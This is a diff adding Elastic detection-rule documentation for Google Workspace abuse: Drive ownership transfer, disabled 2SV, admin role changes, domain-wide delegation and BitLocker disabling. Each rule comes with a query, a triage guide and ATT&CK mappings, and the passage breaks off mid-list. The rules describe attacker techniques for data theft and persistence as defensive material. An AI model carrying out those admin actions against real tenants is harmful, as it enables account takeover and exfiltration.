https://attack.mitre.org/techniques/T1059/006/ +* Sub-technique: +** Name: JavaScript +** ID: T1059.007 +** Reference URL: https://attack.mitre.org/techniques/T1059/007/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-drive-ownership-transferred-via-google-workspace.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-drive-ownership-transferred-via-google-workspace.asciidoc new file mode 100644 index 0000000000..9453e1a974 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-drive-ownership-transferred-via-google-workspace.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-20-google-drive-ownership-transferred-via-google-workspace]] +=== Google Drive Ownership Transferred via Google Workspace + +Drive and Docs is a Google Workspace service that allows users to leverage Google Drive and Google Docs. Access to files is based on inherited permissions from the child organizational unit the user belongs to which is scoped by administrators. Typically if a user is removed, their files can be transferred to another user by the administrator. This service can also be abused by adversaries to transfer files to an adversary account for potential exfiltration. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/1247799?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Tactic: Collection +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Drive Ownership Transferred via Google Workspace* + + +Google Drive is a cloud storage service that allows users to store and access files. It is available to users with a Google Workspace account. + +Google Workspace administrators consider users' roles and organizational units when assigning permissions to files or shared drives. Owners of sensitive files and folders can grant permissions to users who make internal or external access requests. Adversaries abuse this trust system by accessing Google Drive resources with improperly scoped permissions and shared settings. Distributing phishing emails is another common approach to sharing malicious Google Drive documents. With this approach, adversaries aim to inherit the recipient's Google Workspace privileges when an external entity grants ownership. + +This rule identifies when the ownership of a shared drive within a Google Workspace organization is transferred to another internal user. + + +*Possible investigation steps* + + +- From the admin console, review admin logs for involved user accounts. To find admin logs, go to `Security > Reporting > Audit and investigation > Admin log events`. +- Determine if involved user accounts are active. To view user activity, go to `Directory > Users`. +- Check if the involved user accounts were recently disabled, then re-enabled. +- Review involved user accounts for potentially misconfigured permissions or roles. +- Review the involved shared drive or files and related policies to determine if this action was expected and appropriate. +- If a shared drive, access requirements based on Organizational Units in `Apps > Google Workspace > Drive and Docs > Manage shared drives`. +- Triage potentially related alerts based on the users involved. To find alerts, go to `Security > Alerts`. + + +*False positive analysis* + + +- Transferring drives requires Google Workspace administration permissions related to Google Drive. Check if this action was planned/expected from the requester and is appropriately targeting the correct receiver. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"google_workspace.admin" and event.action:"CREATE_DATA_TRANSFER_REQUEST" + and event.category:"iam" and google_workspace.admin.application.name:Drive* + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Data Staged +** ID: T1074 +** Reference URL: https://attack.mitre.org/techniques/T1074/ +* Sub-technique: +** Name: Remote Data Staging +** ID: T1074.002 +** Reference URL: https://attack.mitre.org/techniques/T1074/002/ +* Tactic: +** Name: Exfiltration +** ID: TA0010 +** Reference URL: https://attack.mitre.org/tactics/TA0010/ +* Technique: +** Name: Transfer Data to Cloud Account +** ID: T1537 +** Reference URL: https://attack.mitre.org/techniques/T1537/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-2sv-policy-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-2sv-policy-disabled.asciidoc new file mode 100644 index 0000000000..24f693ec09 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-2sv-policy-disabled.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-20-google-workspace-2sv-policy-disabled]] +=== Google Workspace 2SV Policy Disabled + +Google Workspace admins may setup 2-step verification (2SV) to add an extra layer of security to user accounts by asking users to verify their identity when they use login credentials. Admins have the ability to enforce 2SV from the admin console as well as the methods acceptable for verification and enrollment period. 2SV requires enablement on admin accounts prior to it being enabled for users within organization units. Adversaries may disable 2SV to lower the security requirements to access a valid account. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace 2SV Policy Disabled* + + +Google Workspace administrators manage password policies to enforce password requirements for an organization's compliance needs. Administrators have the capability to set restrictions on password length, reset frequencies, reuse capability, expiration, and much more. Google Workspace also allows multi-factor authentication (MFA) and 2-step verification (2SV) for authentication. 2SV allows users to verify their identity using security keys, Google prompt, authentication codes, text messages, and more. + +2SV adds an extra authentication layer for Google Workspace users to verify their identity. If 2SV or MFA aren't implemented, users only authenticate with their user name and password credentials. This authentication method has often been compromised and can be susceptible to credential access techniques when weak password policies are used. + +This rule detects when a 2SV policy is disabled in Google Workspace. + + +*Possible investigation steps* + + +- Identify the associated user account(s) by reviewing `user.name` or `source.user.email` in the alert. +- Identify what password setting was created or adjusted by reviewing `google_workspace.admin.setting.name`. +- Review if a password setting was enabled or disabled by reviewing `google_workspace.admin.new_value` and `google_workspace.admin.old_value`. +- After identifying the involved user account, verify administrative privileges are scoped properly. +- Filter `event.dataset` for `google_workspace.login` and aggregate by `user.name`, `event.action`. + - The `google_workspace.login.challenge_method` field can be used to identify the challenge method that was used for failed and successful logins. + + +*False positive analysis* + + +- After finding the user account that updated the password policy, verify whether the action was intentional. +- Verify whether the user should have Google Workspace administrative privileges that allow them to modify password policies. +- Review organizational units or groups the role may have been added to and ensure its privileges are properly aligned. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"google_workspace.login" and event.action:"2sv_disable" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Modify Authentication Process +** ID: T1556 +** Reference URL: https://attack.mitre.org/techniques/T1556/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-admin-role-assigned-to-a-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-admin-role-assigned-to-a-user.asciidoc new file mode 100644 index 0000000000..a86424cd33 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-admin-role-assigned-to-a-user.asciidoc @@ -0,0 +1,157 @@ +[[prebuilt-rule-8-19-20-google-workspace-admin-role-assigned-to-a-user]] +=== Google Workspace Admin Role Assigned to a User + +Assigning the administrative role to a user will grant them access to the Google Admin console and grant them administrator privileges which allow them to access and manage various resources and applications. An adversary may create a new administrator account for persistence or apply the admin role to an existing user to carry out further intrusion efforts. Users with super-admin privileges can bypass single-sign on if enabled in Google Workspace. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/172176?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Persistence +* Resources: Investigation Guide + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Admin Role Assigned to a User* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups. These assignments should follow the principle of least privilege (PoLP). Admin roles in Google Workspace grant users access to the Google Admin console, where more domain-wide settings are accessible. Google Workspace contains prebuilt administrator roles for performing business functions related to users, groups, and services. Custom administrator roles can be created when prebuilt roles are not sufficient. + +Administrator roles assigned to users will grant them additional permissions and privileges within the Google Workspace domain. Administrative roles also give users access to the admin console, where domain-wide settings can be adjusted. Threat actors might rely on these new privileges to advance their intrusion efforts and laterally move throughout the organization. Users with unexpected administrative privileges may also cause operational dysfunction if unfamiliar settings are adjusted without warning. + +This rule identifies when a Google Workspace administrative role is assigned to a user. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. + - The `user.target.email` field contains the user who received the admin role. +- Identify the role given to the user by reviewing the `google_workspace.admin.role.name` field in the alert. +- After identifying the involved user, verify their administrative privileges are scoped properly. +- To identify other users with this role, search the alert for `event.action: ASSIGN_ROLE`. + - Add `google_workspace.admin.role.name` with the role added as an additional filter. + - Adjust the relative time accordingly to identify all users that were assigned this admin role. +- Identify if the user account was recently created by searching for `event.action: CREATE_USER`. + - Add `user.email` with the target user account that recently received this new admin role. +- After identifying the involved user, create a filter with their `user.name` or `user.target.email`. Review the last 48 hours of their activity for anything that may indicate a compromise. + + +*False positive analysis* + + +- After identifying user account that added the admin role, verify the action was intentional. +- Verify that the target user who was assigned the admin role should have administrative privileges in Google Workspace. +- Review organizational units or groups the target user might have been added to and ensure the admin role permissions align. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:"google_workspace.admin" and event.category:"iam" and event.action:"ASSIGN_ROLE" + and google_workspace.event.type:"DELEGATED_ADMIN_SETTINGS" and google_workspace.admin.role.name : *_ADMIN_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Sub-technique: +** Name: Additional Cloud Roles +** ID: T1098.003 +** Reference URL: https://attack.mitre.org/techniques/T1098/003/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-admin-role-deletion.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-admin-role-deletion.asciidoc new file mode 100644 index 0000000000..32c9fd9f26 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-admin-role-deletion.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-20-google-workspace-admin-role-deletion]] +=== Google Workspace Admin Role Deletion + +Detects when a custom admin role is deleted. An adversary may delete a custom admin role in order to impact the permissions or capabilities of system administrators. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/2406043?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Tactic: Impact +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Admin Role Deletion* + + +Google Workspace roles allow administrators to assign specific permissions to users or groups where the principle of least privilege (PoLP) is recommended. Admin roles in Google Workspace grant users access to the Google Admin console, where further domain-wide settings are accessible. Google Workspace contains prebuilt administrator roles for performing business functions related to users, groups, and services. Custom administrator roles can be created where prebuilt roles are not preferred. + +Deleted administrator roles may render some user accounts inaccessible or cause operational failure where these roles are relied upon to perform daily administrative tasks. The deletion of roles may also hinder the response and remediation actions of administrators responding to security-related alerts and events. Without specific roles assigned, users will inherit the permissions and privileges of the root organizational unit. + +This rule identifies when a Google Workspace administrative role is deleted within the Google Admin console. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- Identify the role deleted by reviewing `google_workspace.admin.role.name` in the alert. +- With the user identified, verify if he has administrative privileges to disable or delete administrative roles. +- To identify other users affected by this role removed, search for `event.action: ASSIGN_ROLE`. + - Add `google_workspace.admin.role.name` with the role deleted as an additional filter. + - Adjust the relative time accordingly to identify all users that were assigned this admin role. + + +*False positive analysis* + + +- After identifying the user account that disabled the admin role, verify the action was intentional. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Discuss with the user the affected users as a result of this action to mitigate operational discrepencies. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- This rule is configured to run every 10 minutes with a lookback time of 130 minutes. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin and event.provider:admin and event.category:iam and event.action:DELETE_ROLE + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Account Access Removal +** ID: T1531 +** Reference URL: https://attack.mitre.org/techniques/T1531/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Domain or Tenant Policy Modification +** ID: T1484 +** Reference URL: https://attack.mitre.org/techniques/T1484/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc new file mode 100644 index 0000000000..36ca2423fb --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-api-access-granted-via-domain-wide-delegation.asciidoc @@ -0,0 +1,148 @@ +[[prebuilt-rule-8-19-20-google-workspace-api-access-granted-via-domain-wide-delegation]] +=== Google Workspace API Access Granted via Domain-Wide Delegation + +Detects when a domain-wide delegation of authority is granted to a service account. Domain-wide delegation can be configured to grant third-party and internal applications to access the data of Google Workspace users. An adversary may configure domain-wide delegation to maintain access to their target’s data. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://developers.google.com/admin-sdk/directory/v1/guides/delegation +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Identity and Access Audit +* Resources: Investigation Guide +* Tactic: Persistence + +*Version*: 210 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace API Access Granted via Domain-Wide Delegation* + + +Domain-wide delegation is a feature that allows apps to access users' data across an organization's Google Workspace environment. Only super admins can manage domain-wide delegation, and they must specify each API scope that the application can access. Google Workspace services all have APIs that can be interacted with after domain-wide delegation is established with an OAuth2 client ID of the application. Typically, GCP service accounts and applications are created where the Google Workspace APIs are enabled, thus allowing the application to access resources and services in Google Workspace. + +Applications authorized to interact with Google Workspace resources and services through APIs have a wide range of capabilities depending on the scopes applied. If the principle of least privilege (PoLP) is not practiced when setting API scopes, threat actors could abuse additional privileges if the application is compromised. New applications created and given API access could indicate an attempt by a threat actor to register their malicious application with the Google Workspace domain in an attempt to establish a command and control foothold. + +This rule identifies when an application is authorized API client access. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. + - Only users with super admin privileges can authorize API client access. +- Identify the API client name by reviewing the `google_workspace.admin.api.client.name` field in the alert. + - If GCP audit logs are ingested, pivot to reviewing the last 48 hours of activity related to the service account ID. + - Search for the `google_workspace.admin.api.client.name` value with wildcards in the `gcp.audit.resource_name` field. + - Search for API client name and aggregated results on `event.action` to determine what the service account is being used for in GWS. +- After identifying the involved user, verify super administrative privileges to access domain-wide delegation settings. + + +*False positive analysis* + + +- Changes to domain-wide delegation require super admin privileges. Check with the user to ensure these changes were expected. +- Review scheduled maintenance notes related to expected API access changes. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Review the scope of the authorized API client access in Google Workspace. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - Identify if the attacker is moving laterally and compromising other accounts, servers, or services. + - Identify any regulatory or legal ramifications related to this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords or delete API keys as needed to revoke the attacker's access to the environment. Work with your IT teams to minimize the impact on business operations during these actions. +- Review the permissions assigned to the implicated user to ensure that the least privilege principle is being followed. +- Implement security best practices https://support.google.com/a/answer/7587183[outlined] by Google. +- Determine the initial vector abused by the attacker and take action to prevent reinfection via the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + + + +*Important Information Regarding Google Workspace Event Lag Times* + +- As per Google's documentation, Google Workspace administrators may observe lag times ranging from minutes up to 3 days between the time of an event's occurrence and the event being visible in the Google Workspace admin/audit logs. +- To reduce the risk of false negatives, consider reducing the interval that the Google Workspace (formerly G Suite) Filebeat module polls Google's reporting API for new events. +- By default, `var.interval` is set to 2 hours (2h). Consider changing this interval to a lower value, such as 10 minutes (10m). +- See the following references for further information: + - https://support.google.com/a/answer/7061566 + - https://www.elastic.co/guide/en/beats/filebeat/current/filebeat-module-google_workspace.html + +==== Setup + + +The Google Workspace Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +event.dataset:google_workspace.admin + and event.provider:admin + and event.category:iam + and event.action:AUTHORIZE_API_CLIENT_ACCESS + and event.outcome:success + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Account Manipulation +** ID: T1098 +** Reference URL: https://attack.mitre.org/techniques/T1098/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-bitlocker-setting-disabled.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-bitlocker-setting-disabled.asciidoc new file mode 100644 index 0000000000..9d6fa73341 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-20/prebuilt-rule-8-19-20-google-workspace-bitlocker-setting-disabled.asciidoc @@ -0,0 +1,142 @@ +[[prebuilt-rule-8-19-20-google-workspace-bitlocker-setting-disabled]] +=== Google Workspace Bitlocker Setting Disabled + +Google Workspace administrators whom manage Windows devices and have Windows device management enabled may also enable BitLocker drive encryption to mitigate unauthorized data access on lost or stolen computers. Adversaries with valid account access may disable BitLocker to access sensitive data on an endpoint added to Google Workspace device management. + +*Rule type*: query + +*Rule indices*: + +* filebeat-* +* logs-google_workspace* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 10m + +*Searches indices from*: now-130m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://support.google.com/a/answer/9176657?hl=en +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-one +* https://www.elastic.co/security-labs/google-workspace-attack-surface-part-two + +*Tags*: + +* Domain: Cloud +* Data Source: Google Workspace +* Use Case: Configuration Audit +* Tactic: Defense Evasion +* Resources: Investigation Guide + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Google Workspace Bitlocker Setting Disabled* + + +BitLocker Drive Encryption is a data protection feature that integrates with the Windows operating system to address the data theft or exposure threats from lost, stolen, or inappropriately decommissioned computers. BitLocker helps mitigate unauthorized data access by enhancing file and system protections, such as data encryption and rendering data inaccessible. Google Workspace can sync with Windows endpoints that are registered in inventory, where BitLocker can be enabled and disabled. + +Disabling Bitlocker on an endpoint decrypts data at rest and makes it accessible, which raises the risk of exposing sensitive endpoint data. + +This rule identifies a user with administrative privileges and access to the admin console, disabling BitLocker for Windows endpoints. + + +*Possible investigation steps* + + +- Identify the associated user accounts by reviewing `user.name` or `user.email` fields in the alert. +- After identifying the user, verify if the user should have administrative privileges to disable BitLocker on Windows endpoints. +- From the Google Workspace admin console, review `Reporting > Audit` and `Investigation > Device` logs, filtering on the user email identified from the alert. + - If a Google Workspace user logged into their account using a potentially compromised account, this will create an `Device sync event` event. + + +*False positive analysis* + + +- An administrator may have intentionally disabled BitLocker for routine maintenance or endpoint updates. + - Verify with the user that they intended to disable BitLocker on Windows endpoints. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Disable or limit the account during the investigation and response. +- Identify the possible impact of the incident and prioritize accordingly; the following actions can help you gain context: + - Identify the account role in the cloud environment. + - Assess the criticality of affected services and servers. + - Work with your IT team to identify and minimize the impact on users. + - 